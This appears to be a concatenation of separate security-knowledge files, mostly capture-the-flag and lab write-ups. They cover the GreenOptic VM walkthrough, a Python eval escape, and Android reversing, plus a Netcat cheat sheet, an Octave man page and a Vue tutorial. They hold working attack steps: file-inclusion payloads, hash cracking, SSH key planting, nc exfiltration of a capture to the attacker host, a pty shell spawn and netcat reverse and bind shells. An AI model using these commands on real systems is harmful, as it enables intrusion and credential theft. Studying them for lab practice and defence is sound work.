greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
greenoptic.vm. 3600 IN NS ns1.greenoptic.vm.
ns1.greenoptic.vm. 3600 IN A 127.0.0.1
recoveryplan.greenoptic.vm. 3600 IN A 127.0.0.1
websrv01.greenoptic.vm. 3600 IN A 127.0.0.1
greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
;; Query time: 3 msec
;; SERVER: 192.168.32.139#53(192.168.32.139)
;; WHEN: Mon Dec 27 02:37:18 EST 2021
;; XFR size: 6 records (messages 1, bytes 235)
```
回到本地文件包含漏洞,使用base64方式查看文件,`php://filter/convert.base64-encode/resource=/etc/passwd`。
 (1) (1) (1) (1).png>)
取passwd文件里面的用户,查看他的邮件
```
sam:x:1000:1000::/home/sam:/bin/bash
terry:x:1001:1001::/home/terry:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
alex:x:1002:1002::/home/alex:/bin/bash
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:997:993:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
monitor:x:1003:1003::/home/monitor:/bin/bash
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
```
sam用户邮件内容
```
From terry@greenoptic.vm Sun Jul 12 16:13:45 2020
Return-Path: <terry@greenoptic.vm>
X-Original-To: sam
Delivered-To: sam@websrv01.greenoptic.vm
Received: from localhost (localhost [IPv6:::1])
by websrv01.greenoptic.vm (Postfix) with ESMTP id A8D371090085
for <sam>; Sun, 12 Jul 2020 16:13:18 +0100 (BST)
Message-Id: <20200712151322.A8D371090085@websrv01.greenoptic.vm>
Date: Sun, 12 Jul 2020 16:13:18 +0100 (BST)
From: terry@greenoptic.vm
Hi Sam, per the team message, the password is HelloSunshine123
```
 (1) (1) (1) (1) (1).png>)
terry用户邮件内容
```
From serversupport@greenoptic.vm Sun Jul 12 15:52:19 2020
Return-Path: <serversupport@greenoptic.vm>
X-Original-To: terry
Delivered-To: terry@websrv01.greenoptic.vm
Received: from localhost (localhost [IPv6:::1])
by websrv01.greenoptic.vm (Postfix) with ESMTP id C54E21090083
for <terry>; Sun, 12 Jul 2020 15:51:32 +0100 (BST)
Message-Id: <20200712145137.C54E21090083@websrv01.greenoptic.vm>
Date: Sun, 12 Jul 2020 15:51:32 +0100 (BST)
From: serversupport@greenoptic.vm
Terry
As per your request we have installed phpBB to help with incident response.
Your username is terry, and your password is wsllsa!2
Let us know if you have issues
Server Support - Linux
```
根据这两封邮件获取到两个用户密码
```
sam/HelloSunshine123
terry/wsllsa!2
```
但是这两个账号密码不能 登录到`account`和`webim`系统。
访问DNS域传送发现域名`recoveryplan.greenoptic.vm`(需加hosts)。就会弹出窗口,输入账号和密码,但是发现还是登录不了。
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
查看`/var/www/.htpasswd`文件
```
staff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.
```
 (1) (1) (1) (1) (1) (1) (1).png>)
使用`john`爆破密码,需要先解压rockyou字典。
`gzip -d /usr/share/wordlists/rockyou.txt.gz`
```
┌──(root💀kali)-[/usr/share/wordlists]
└─# john --wordlist:/usr/share/wordlists/rockyou.txt /tmp/htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wheeler (staff)
1g 0:00:00:00 DONE (2021-12-27 03:10) 6.250g/s 82200p/s 82200c/s 82200C/s guess1..justin01
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌──(root💀kali)-[/usr/share/wordlists]
└─# john --show /tmp/htpasswd
staff:wheeler
1 password hash cracked, 0 left
```
使用`staff/wheeler`登录。
 (1) (1) (1) (1) (1) (1).png>)
使用terry进行登录。
 (1) (1) (1) (1) (1) (1) (1) (1).png>)
找到一则消息,下载`dpi`压缩包。
 (1) (1) (1) (1).png>)
使用sam邮件的密码进行解压。
 (1) (1) (1).png>)
使用wireshark打开数据包,右键follow TCP stream,找到第25个数据包,是FTP用户登录,`alex/FwejAASD1`。(FTP是明文传输)
 (1) (1) (1) (1) (1).png>)
使用FTP账号进行登录。
```
┌──(root💀kali)-[~/Downloads]
└─# ftp 192.168.32.139
Connected to 192.168.32.139.
220 (vsFTPd 3.0.2)
Name (192.168.32.139:root): alex
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/home/alex"
ftp>
```
知道当前目录是`/home/alex`,这样可以上传公钥,用证书登录。
生成公钥和私钥。
```
┌──(root💀kali)-[/tmp]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/id_rsa
Your public key has been saved in /tmp/id_rsa.pub
The key fingerprint is:
SHA256:Q0ht+VhJfqKtOcYclyVknabBEPTte9FKbk3QeRXxHlk root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o+*+o . oE|
| . .+==.+ .*|
| ...+=++ .++|
| ..ooB +o|
| S + . o +|
| o * + = |
| B . = .|
| . . o |
| |
+----[SHA256]-----+
```
上传公钥到FTP服务器
```
ftp>
ftp> mkdir .ssh
257 "/home/alex/.ssh" created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put /tmp/id_rsa.pub
local: /tmp/id_rsa.pub remote: /tmp/id_rsa.pub
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
563 bytes sent in 0.00 secs (9.1003 MB/s)
```
使用证书进行登录
```
┌──(root💀kali)-[/tmp]
└─# ssh -i id_rsa alex@192.168.32.139
[alex@websrv01 ~]$ whoami
alex
[alex@websrv01 ~]$ id
uid=1002(alex) gid=1002(alex) groups=1002(alex),994(wireshark)
```
请注意,`id`这`alex`是wireshark组的一部分?让我们看看那个组可以在这个盒子上运行什么。
```
[alex@websrv01 opt]$ find / -type f -group wireshark 2>/dev/null
/usr/sbin/dumpcap
```
dumpcap命令是wireshark命令行捕捉数据包,猜测靶机自动传输一些敏感信息,抓取所有网卡接口的流量。
```
[alex@websrv01 tmp]$ dumpcap -i any
Capturing on 'any'
File: /tmp/wireshark_pcapng_any_20211227090725_V7WCH2
Packets captured: 394
Packets received/dropped on interface 'any': 394/0 (pcap:0/dumpcap:0/flushed:0) (100.0%)
```
本地部署http服务器,让靶场下载nc命令。
 (1) (1) (1) (1).png>)
使用nc命令传输数据。
```
#靶机
[alex@websrv01 tmp]$ chmod +x nc
[alex@websrv01 tmp]$ ./nc -w 3 192.168.32.130 8000 < wireshark_pcapng_any_20211227090725_V7WCH2
#kali
┌──(root💀kali)-[/opt]
└─# nc -lvnp 8000 > wireshark.pcap
listening on [any] 8000 ...
connect to [192.168.32.130] from (UNKNOWN) [192.168.32.139] 42498
```
先排除SSH协议数据包
```
!(ip.addr==192.168.32.130)
```
找到一个SMTP的数据包,里面有一段base64加密的字符串
 (1) (1) (1) (1).png>)
解密字符串,得到root密码
```
┌──(root💀kali)-[~/Downloads]
└─# echo AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28= | base64 -d
rootASfojoj2eozxczzmedlmedASASDKoj3o
```
最后获取root用户成功。
```
[alex@websrv01 tmp]$ su -
Password:
Last failed login: Mon Dec 27 09:29:09 GMT 2021 on pts/0
There were 2 failed login attempts since the last successful login.
[root@websrv01 ~]#
[root@websrv01 ~]# ls
anaconda-ks.cfg root.txt
[root@websrv01 ~]# cat root.txt
Congratulations on getting root!
____ ___ _ _
/ ___|_ __ ___ ___ _ __ / _ \ _ __ | |_(_) ___
| | _| '__/ _ \/ _ \ '_ \| | | | '_ \| __| |/ __|
| |_| | | | __/ __/ | | | |_| | |_) | |_| | (__
\____|_| \___|\___|_| |_|\___/| .__/ \__|_|\___|
|_|
You've overcome a series of difficult challenges, so well done!
I'm happy to make my CTFs available for free. If you enjoyed doing the CTF, please leave a comment on my blog at https://security.caerdydd.wales - I will be happy for your feedback so I can improve them and make them more enjoyable in the future.
*********
Kindly place your vote on the poll located here to let me know how difficult you found it: https://security.caerdydd.wales/greenoptic-ctf/
*********
Thanks,
bootlesshacker
```
|
sec-knowleage
|
# Multicheck (re)
The task was a mobile (android) reversing challenge.
We get [android app](multicheck.apk) to work with.
After decompiling we can see there is only [a single class there](MainActivity.java).
What is does is loading from resources file `claz.dex` (in method `m2541i`) and then loading method `check` from class `com.a.Check`, and using this method to validate the password.
If we decompile the `claz.dex` from resources we do get [Check class](Check.java), but it turns out to be a red herring with `this is not the flag` message.
Last piece of the puzzle is the native library which is in fact loaded by the main activity:
```java
static {
System.loadLibrary("check");
}
```
It's ARM dynamic library, and if we look into it we find an interesting function at `0x1380`:
```c
int sub_1380(int arg0, int arg1, int arg2) {
stack[2043] = r4;
*((sp - 0x14) + 0xfffffffffffffffc) = r8;
r5 = arg0;
r8 = arg2;
r6 = arg1;
r4 = *0x474c;
if (r4 == 0x0) {
r4 = malloc(0x100);
*0x474c = r4;
*0x4750 = malloc(0x100);
}
sprintf(r4, 0x1450);
readlink(*0x474c, *0x4750, 0x100);
if (sub_1318(*0x4750, "claz.dex") != 0x0) {
if (*(int8_t *)0x4754 == 0x0) {
r4 = malloc(**0x3f40);
if (**0x3f40 >= 0x1) {
r0 = 0xe9;
r1 = 0x0;
do {
*(r4 + r1) = *(int8_t *)(*0x3f44 + r1) ^ r0;
r1 = r1 + 0x1;
r0 = r0 + 0x1;
} while (r1 < **0x3f40);
}
write(r5, r4, **0x3f40);
free(r4);
*0x4754 = 0x1;
}
r0 = r8;
}
else {
r0 = loc_29c4();
}
return r0;
}
```
What it does is actually "decrypt" (via simple xor) a real `claz.dex` file.
We can therefore repeat the same operation and recover dex and then decompile it, getting [real Check.java](CheckReal.java) class.
This one is a bit more complex than the fake one.
There is a static array with expected values, some encryption-like function is called on our input, and then compared with this array.
```java
public static boolean CheckReal(String str) {
return Arrays.equals(CheckReal.m1a(str.getBytes()), f1b);
}
```
Functions `m4a` and `m3a` are easy enough to label.
First one takes array of bytes and combines those bytes into 32 bit integers.
Second one does the reverse, so takes array of integers and splits them into separate bytes.
Function `m0a` simply makes sure we're working with unsigned byte values.
Function `m1a` creates payload to encrypt from our input, and then encrypts the data in 8-byte blocks.
What we really need to invert is function `m2a` which does the actual encryption.
This function is very complex to read:
- combine the 8 bytes input into two 32-bit integers
- perform some XOR and arithmetic operations in 32 loop iterations
- split the result back into 8 bytes array
Fortunately for us the whole process is invertible, because we can simply perform all those operations backwards:
```java
static byte[] decode8Bytes(byte[] inputData, int startIndex) {
int[] combined = CheckReal.combine8BytesIntoTwo32bitInts(inputData, startIndex);
int firstInt = combined[0];
int secondInt = combined[1];
int i5 = 0;
for (int i = 0; i < 32; i++) {
i5 -= 1640531527;
}
int const1 = f0a[0];
int const2 = f0a[1];
int const3 = f0a[2];
int const4 = f0a[3];
for (int i = 0; i < 32; i++) {
secondInt -= (((firstInt << 4) + const3) ^ (firstInt + i5)) ^ ((firstInt >> 5) + const4);
firstInt -= (((secondInt << 4) + const1) ^ (secondInt + i5)) ^ ((secondInt >> 5) + const2);
i5 += 1640531527;
}
int[] result = new int[2];
result[0] = firstInt;
result[1] = secondInt;
return CheckReal.splitIntoSeparateBytes(result);
}
```
We can call this function on the expected results and recover the input:
```java
public static void main(String[] args) {
StringBuilder flag = new StringBuilder();
for (int i = 0; i < 32; i += 8) {
byte[] expectedInput = CheckReal.decode8Bytes(f1b, i);
flag.append(new String(expectedInput));
}
System.out.println(flag);
}
```
Which gives: `HITB{SEe!N9_IsN'T_bELIEV1Ng}`
|
sec-knowleage
|
.\" Man page for Octave
.\"
.\" Copyright (C) 1996, 1997 John W. Eaton
.\"
.\" This file is part of Octave.
.\"
.\" Octave is free software; you can redistribute it and/or modify it
.\" under the terms of the GNU General Public License as published by the
.\" Free Software Foundation; either version 2, or (at your option) any
.\" later version.
.\"
.\" Octave is distributed in the hope that it will be useful, but WITHOUT
.\" ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
.\" FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
.\" for more details.
.\"
.\" You should have received a copy of the GNU General Public License
.\" along with Octave; see the file COPYING. If not, write to the Free
.\" Software Foundation, 59 Temple Place - Suite 330, Boston, MA
.\" 02111-1307, USA.
.\"
.TH Octave 1 "Jan 8 1996"
.SH NAME
octave \- 用于数值计算的高级交互式语言
.SH "SYNOPSIS 总览"
.nf
octave [options]
.fi
.SH "OPTIONS 选项"
octave 全部命令行选项可以通过运行命令
.nf
octave --help
.fi
来查看。
.SH "DESCRIPTION 描述"
Octave 是一种高级语言,主要用于数值计算。它提供了极为方便的命令行界面,用数值的方式解决线性和非线性问题。
.SH "DOCUMENTATION 文档"
Octave 主要的文档以 Texinfo (GNU 文档系统) 写成,可以用同样的文件产生手册的在线版本和打印版本。
.PP
你可以在交互运行 Octave 时执行命令
.nf
octave:13> help -i
.fi
来阅读 Octave 文档的在线版本,它将用到 GNU Emacs 的 info 模式;或者也可以直接运行单独的程序,例如 info 或者 xinfo。
.SH BUGS
提交 Octave 错误报告的最佳方法是在交互运行 Octave 时执行命令
.nf
octave:13> bug_report
.fi
。这将创建一个错误报告的模板文件,并打开一个编辑器。编辑完毕后,邮件将发送到 bug-octave 邮件列表。
.PP
如果不能使用 bug_report 命令,可以用其他方法将邮件发送到
.B bug-octave@bevo.che.wisc.edu
邮件列表。请阅读 Octave 手册页中的 `Bugs' 章节,学习如何提交错误报告来使 Octave 的维护者修正问题。
.SH AUTHOR
.nf
John W. Eaton
Department of Chemical Engineering
University of Wisconsin-Madison
Madison, WI 53706
USA
<jwe@bevo.che.wisc.edu>
.fi
|
sec-knowleage
|
## Worst Pwn Ever (Pwn)
###ENG
[PL](#pl-version)
We get netcat connection parameters to work with.
After connecting to the server we get a custom command-line prompt, but typing some random things cause the connection to close.
Some fuzzing lead us to typing `1+()` which crashes with a nice python exception that we can't add int to a tuple.
This means that our input has to be evaluated by python interpreter.
We use this to run:
```python
__import__("pty").spawn("/bin/sh")
```
To get a real shell on the target machine.
After that we tried the standard aproach with `find flag` but it gave us nothing.
Fortunately we came back to task description which stated that the admin is `environmentalist` and so we typed `set` to see evn variables and there was a variable named `_F_L_AG` containing the flag itself.
###PL version
Dostajemy parametry do połączenia się przez netcata.
Po połączeniu serwer wyświetla znak zachęty jak w shellu, ale próby wpisywania losowych rzeczy powodują zerwanie połączenia.
Trochę fuzzowanai pozwala zauważyć że wpisanie `1+()` wysypuje shella z ładnym pythonowym wyjątkiem ze nie można dodać inta do krotki.
To oznacza, że nasz input jest ewaluowany przez interpreter pythona.
W związku z tym uruchamiamy:
```python
__import__("pty").spawn("/bin/sh")
```
Aby dostać prawdziwego shella na docelowej maszynie.
Po tym próbowaliśmy trochę standardowych operacji jak `find flag` ale niczego nie znaleźliśmy.
Na szczęście wróciliśmy do opisu zadania, w którym było napisane że admin to `environmentalist` w zwiazku z tym wpisaliśmy komendę `set` żeby zobaczyć wszystkie zmienne środowiskowe i faktycznie jedną z nich była `_F_L_AG` zawierająca flagę.
|
sec-knowleage
|
# Props
> 用 Props 进行组件间数据传递(类似于 React 中的 Props)
### 父组件向子组件传递数据
每个组件都有作用域的限制,所以不能在子组件内直接用父组件的数据
>要让子组件使用父组件的数据,我们需要通过子组件的props选项
#### 静态 Props
> 子组件要显式地用 props 选项声明它期待获得的数据:
在父组件中,将数据传入
```js
<child message="hello"></child>
```
在子组件中,通过声明 props 接受传入的数据
```js
Vue.component('child', {
// 声明 props
props: ['message'],
// 就像 data 一样,prop 可以用在模板内
// 同样也可以在 vm 实例中像“this.message”这样使用
template: '<span>{{ message }}</span>'
})
```
**注意**:在声明 props 和插入节点的时候用驼峰命名,在HTML内用`-`连接
**小贴士**:
- props 可以是数组或对象,用于接收来自父组件的数据
- props 可以是简单的数组
- props 可以使用对象作为替代,对象允许配置高级选项,如类型检测、自定义校验和设置默认值
#### 动态 Props
在 **父组件** 中,将数据通过 `v-bind:msg` 传入子组件
```js
<template>
<div id="post">
<post-body :msg="msg"></post-body>
//v-bind:msg 简写形式,将 msg数据传入
</div>
</template>
<script>
import PostBody from './PostBody'
export default {
name: 'post',
data: () => ({
msg: '哈哈'
}),
components: { PostBody }
}
</script>
```
在 props 中添加了元素之后,就不需要在 data 中再添加变量了
在 **子组件** 中,怎样拿到 传入的数据?
首先声明 Props,将得到的数据赋给 Props ,就可以直接渲染了
```js
<template>
<div class="post-body">
{{ msg }}
//渲染到页面上
</div>
</template>
<script>
export default {
name: 'post-body',
props: ['msg']
// 声明 props
}
</script>
```
#### 子组件向父组件传递数据
> 子组件主要通过事件传递数据给父组件
##### 子组件
首先声明一个了方法 setnum,使用`$emit`来遍历父组件传过来的 addnum 事件,并返回字符串`数量:`
```
<script>
export default {
name: 'post-body',
methods: {
setnum: function () {
this.$emit('addnum', '数量:')
}
}
}
</script>
```
当按钮被点击时,触发`v-on:click`事件,调用绑定的 setnum 方法,将数据传递给父组件
```js
<template>
<div class="post-body">
<input type='button' value='+1' @click='setnum'/>
</div>
</template>
```
##### 父组件
在父组件中,用 addnum 事件调用 getnum 方法,获取到从子组件传递过来的参数 string
```js
<template>
<div id="post">
<p>{{ str }}{{ num }}</p>
<post-body @addnum='getnum'></post-body>
</div>
</template>
```
getnum 方法中的参数 str 就是从子组件传递过来的参数 string
```js
<script>
import PostBody from './PostBody'
export default {
name: 'post',
data: () => ({
num: 0,
str:
}),
methods: {
getnum: function (str) {
this.str = str
this.num ++
}
},
components: { PostBody }
}
</script>
```
这样点击子组件的`+1`按钮,父组件显示的值就会改变,并且完成一个 +1 的操作
#### 子组件向子组件传递数据
Vue 没有直接子对子传参的方法,建议将需要传递数据的子组件,都合并为一个组件。如果一定需要子对子传参,可以先从传到父组件,再传到子组件。
为了便于开发,Vue 推出了一个状态管理工具 Vuex,可以很方便实现组件之间的参数传递,我们将在下面的章节说到
|
sec-knowleage
|
---
title: Netcat
date: 2020-11-25 18:28:43
background: bg-blue-600
tags:
- ncat
- nc
- utility
- network
- traffic
categories:
- Linux Command
intro: This cheat sheet provides various for using Netcat on both Linux and Unix.
plugins:
- copyCode
---
Getting Started {.cols-5}
---------------
### Usage {.col-span-2}
Connect to a host located anywhere
```shell script
$ nc [options] [host] [port]
```
Listen for incoming connections
```shell script
$ nc -lp port [host] [port]
```
### Option examples {.col-span-3 .row-span-2}
| Option | Description | Example |
|--------|----------------------------|------------------------------------------|
| `-h` | nc -h | Help |
| `-z` | nc -z 192.168.1.9 1-100 | Port scan for a host or IP address |
| `-v` | nc -zv 192.168.1.9 1-100 | Provide verbose output |
| `-n` | nc -zn 192.168.1.9 1-100 | Fast scan by disabling DNS resolution |
| `-l` | nc -lp 8000 | TCP Listen mode _(for inbound connects)_ |
| `-w` | nc -w 180 192.168.1.9 8000 | Define timeout value |
| `-k` | nc -kl 8000 | Continue listening after disconnection |
| `-u` | nc -u 192.168.1.9 8000 | Use UDP instead of TCP |
| `-q` | nc -q 1 192.168.1.9 8000 | Client stay up after EOF |
| `-4` | nc -4 -l 8000 | IPv4 only |
| `-6` | nc -6 -l 8000 | IPv6 only |
### Chat client-server {.col-span-2}
Server (192.168.1.9)
```shell script
$ nc -lv 8000
```
Client
```shell script
$ nc 192.168.1.9 8000
```
Netcat Examples
--------
### Banner grabbing
```shell script
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
```
or
```shell script
echo "" | nc -zv -wl 192.168.1.1 801-805
```
### Port scanning
Scan ports between 21 to 25
```shell script
$ nc -zvn 192.168.1.1 21-25
```
Scan ports 22, 3306 and 8080
```shell script
$ nc -zvn 192.168.1.1 22 3306 8080
```
### Proxy and port forwarding
```shell script
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
```
or
```shell script
$ nc -l 8001 | nc 127.0.0.1 8000
```
Create a tunnel from one local port to another
### Download file
Server (192.168.1.9)
```shell script
$ nc -lv 8000 < file.txt
```
Client
```shell script
$ nc -nv 192.168.1.9 8000 > file.txt
```
Suppose you want to transfer a file “file.txt” from server A to client B.
### Upload file
Server (192.168.1.9)
```shell script
$ nc -lv 8000 > file.txt
```
Client
```shell script
$ nc 192.168.1.9 8000 < file.txt
```
Suppose you want to transfer a file “file.txt” from client B to server A:
### Directory transfer
Server (192.168.1.9)
```shell script
$ tar -cvf – dir_name | nc -l 8000
```
Client
```shell script
$ nc -n 192.168.1.9 8000 | tar -xvf -
```
Suppose you want to transfer a directory over the network from A to B.
### Encrypt transfer {.col-span-2}
Server (192.168.1.9)
```shell script
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
```
Client
```shell script
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
```
Encrypt data before transfering over the network
### Clones
Server (192.168.1.9)
```shell script
$ dd if=/dev/sda | nc -l 8000
```
Client
```shell script
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
```
Cloning a linux PC is very simple. Suppose your system disk is /dev/sda
### Video streaming
Server (192.168.1.9)
```shell script
$ cat video.avi | nc -l 8000
```
Client
```shell script {.wrap}
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
```
Streaming video with netcat
### Remote shell
Server (192.168.1.9)
```shell script
$ nc -lv 8000 -e /bin/bash
```
Client
```shell script
$ nc 192.168.1.9 8000
```
We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.
### Reverse shell
Server (192.168.1.9)
```shell script
$ nc -lv 8000
```
Client
```shell script
$ nc 192.168.1.9 8000 -v -e /bin/bash
```
Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections
|
sec-knowleage
|
## Regexpire (Misc/PPC, 100p)
###ENG
[PL](#pl-version)
Task almost identical to https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/ppc_isolve so we solved it pretty much the same way - with simplified xeger:
```python
import socket
from rstr import xeger
def recvuntil(s, tails):
data = ""
while True:
for tail in tails:
if tail in data:
return data
data += s.recv(1)
def main():
url = "misc.chal.csaw.io"
port = 8001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
task1 = recvuntil(s, "\n")
print(task1)
while True:
task2 = recvuntil(s, "\n")
print(task2)
to_solve = task2[:-1]
if len(to_solve) != 0:
print("to solve = '%s'" % to_solve)
solution = xeger(to_solve)
print("solution = %s" % solution)
s.sendall(solution + "\n")
main()
```
With modifications to:
```python
ALPHABETS = {'printable': ['a'],
'letters': ['a'],
'uppercase': ['A'],
'lowercase': ['a'],
'digits': ['1'],
'punctuation': [','],
'nondigits': ['a'],
'nonletters': ['1'],
'whitespace': [' '],
'nonwhitespace': ['a'],
'normal': ['a'],
'word': ['a'],
'nonword': ['#'],
'postalsafe': string.ascii_letters + string.digits + ' .-#/',
'urlsafe': string.ascii_letters + string.digits + '-._~',
'domainsafe': string.ascii_letters + string.digits + '-'
}
```
because the server did not handle everything.
`flag{^regularly_express_yourself$}`
###PL version
Zadanie prawie identyczne jak https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/ppc_isolve więc rozwiązaliśmy je tak samo, zmodyfikowanym xegerem:
```python
import socket
from rstr import xeger
def recvuntil(s, tails):
data = ""
while True:
for tail in tails:
if tail in data:
return data
data += s.recv(1)
def main():
url = "misc.chal.csaw.io"
port = 8001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
task1 = recvuntil(s, "\n")
print(task1)
while True:
task2 = recvuntil(s, "\n")
print(task2)
to_solve = task2[:-1]
if len(to_solve) != 0:
print("to solve = '%s'" % to_solve)
solution = xeger(to_solve)
print("solution = %s" % solution)
s.sendall(solution + "\n")
main()
```
Z modyfikacją dla:
```python
ALPHABETS = {'printable': ['a'],
'letters': ['a'],
'uppercase': ['A'],
'lowercase': ['a'],
'digits': ['1'],
'punctuation': [','],
'nondigits': ['a'],
'nonletters': ['1'],
'whitespace': [' '],
'nonwhitespace': ['a'],
'normal': ['a'],
'word': ['a'],
'nonword': ['#'],
'postalsafe': string.ascii_letters + string.digits + ' .-#/',
'urlsafe': string.ascii_letters + string.digits + '-._~',
'domainsafe': string.ascii_letters + string.digits + '-'
}
```
Bo serwer nie wszystko dobrze parsował.
`flag{^regularly_express_yourself$}`
|
sec-knowleage
|
# New York - Office Complex
Category: Hardware
## Description
> New York is hot, and you are on your way to the office complex. It seems like it is well guarded, even though you are expected under the alias of the assassin, perhaps it will be a better idea to sneak inside the building, unseen? You climb through a window on the side of the building. Inside you spot more guards, quick, hide behind a desk. Now you have to sneak past the guards into the main office.
>
> Challenge: Spycam (hardware)
>
> You manage to find some exposed wires and quickly hook them up to your portable terminal. It seems to be a live feed of the internal CCTV system. If you can manage to decode the signal you might find something interesting, maybe a code or a password to get past the locked door.
Seven CSV files were attached.
## Solution
We have seven pretty long CSV files, all similar to the following sample:
```console
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ head 1.csv
-0.0018051198211097765,4.25,-0.05,-0.05,-0.18
-0.001805079821043734,4.25,-0.05,-0.08,-0.18
-0.0018050398209776917,4.3,-0.05,-0.08,-0.18
-0.0018049998209116493,4.3,-0.05,-0.08,-0.18
-0.0018049598208456068,4.25,-0.05,-0.08,-0.2
-0.0018049198207795644,4.25,-0.05,-0.05,-0.18
-0.001804879820713522,4.25,-0.05,-0.05,-0.18
-0.0018048398206474796,4.25,-0.05,-0.08,-0.18
-0.001804799820581439,4.25,-0.05,-0.05,-0.18
-0.0018047598205153965,4.25,-0.05,-0.08,-0.18
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ tail 1.csv
0.022204759820515396,4.25,0.2,0.15,-0.05
0.022204799820581433,4.25,0.2,0.18,-0.05
0.022204839820647478,4.25,0.22,0.2,-0.05
0.02220487982071352,4.25,0.15,0.15,-0.05
0.022204919820779566,4.3,0.15,0.12,-0.05
0.022204959820845603,4.25,0.15,0.12,-0.03
0.022204999820911647,4.25,0.15,0.12,0.0
0.02220503982097769,4.25,0.15,0.12,-0.03
0.022205079821043736,4.3,0.15,0.12,-0.03
0.022205119821109773,4.25,0.15,0.1,0.0
```
All files have the same number of lines (600256):
```console
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ wc -l *
600255 1.csv
600255 2.csv
600255 3.csv
600255 4.csv
600255 5.csv
600255 6.csv
600255 7.csv
4201785 total
```
According to the description, this is a signal from a CCTV system. The first field seems to be some sort of timestamp, monotonically increasing. The other fields are not so obvious, let's try to understand the different values they have.
For the second column:
```console
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ awk -F "\"*,\"*" '{print $2}' 1.csv 2.csv 3.csv 4.csv 5.csv 6.csv 7.csv | sort -n | uniq -c
1 -0.35
1 -0.25
1 0.0
1 0.15
5 0.25
4 0.3
70 0.35
20929 0.4
1219 0.45
6 0.5
4 0.55
1 0.65
2 0.7
1 2.4
1 3.8
1 3.9
2 4.0
50 4.05
9521 4.1
585528 4.15
6828 4.2
1682059 4.25
1891914 4.3
3608 4.35
29 4.4
1 4.45
1 4.55
1 4.6
2 4.8
1 4.85
```
Most of the time it's somewhere between `4.1` and `4.35`.
The third, forth and fifth columns have similar values:
```console
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ awk -F "\"*,\"*" '{print $3}' 1.csv 2.csv 3.csv 4.csv 5.csv 6.csv 7.csv | sort -n | uniq -c
1 -0.43
29 -0.4
6887 -0.38
847487 -0.35
347941 -0.33
162801 -0.3
87018 -0.28
95876 -0.25
119090 -0.23
118939 -0.2
115742 -0.18
114644 -0.15
110851 -0.12
131846 -0.1
164781 -0.08
178459 -0.05
209401 -0.03
185681 0.0
194934 0.02
215792 0.05
246449 0.07
182451 0.1
118482 0.12
82814 0.15
55192 0.18
37134 0.2
28723 0.22
33381 0.25
8950 0.28
16 0.3
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ awk -F "\"*,\"*" '{print $4}' 1.csv 2.csv 3.csv 4.csv 5.csv 6.csv 7.csv | sort -n | uniq -c
1 -0.43
25 -0.4
5817 -0.38
1123880 -0.35
404883 -0.33
76778 -0.3
83864 -0.28
82483 -0.25
83930 -0.23
81728 -0.2
84418 -0.18
97265 -0.15
104083 -0.12
102893 -0.1
116198 -0.08
169758 -0.05
167962 -0.03
205561 0.0
237296 0.02
286013 0.05
217471 0.07
117686 0.1
80445 0.12
79577 0.15
61124 0.18
46113 0.2
51954 0.22
30402 0.25
2184 0.28
┌──(user@kali)-[/media/sf_CTFs/google/10_New_York_-_Office_Complex/download]
└─$ awk -F "\"*,\"*" '{print $5}' 1.csv 2.csv 3.csv 4.csv 5.csv 6.csv 7.csv | sort -n | uniq -c
3 -0.43
78 -0.4
2197 -0.38
1100074 -0.35
370897 -0.33
84785 -0.3
96129 -0.28
106790 -0.25
103673 -0.23
107795 -0.2
120931 -0.18
127820 -0.15
123381 -0.12
170637 -0.1
192303 -0.08
192984 -0.05
220724 -0.03
247015 0.0
271701 0.02
162702 0.05
97705 0.07
78207 0.1
59063 0.12
55315 0.15
38419 0.18
26835 0.2
19510 0.22
20604 0.25
3515 0.28
```
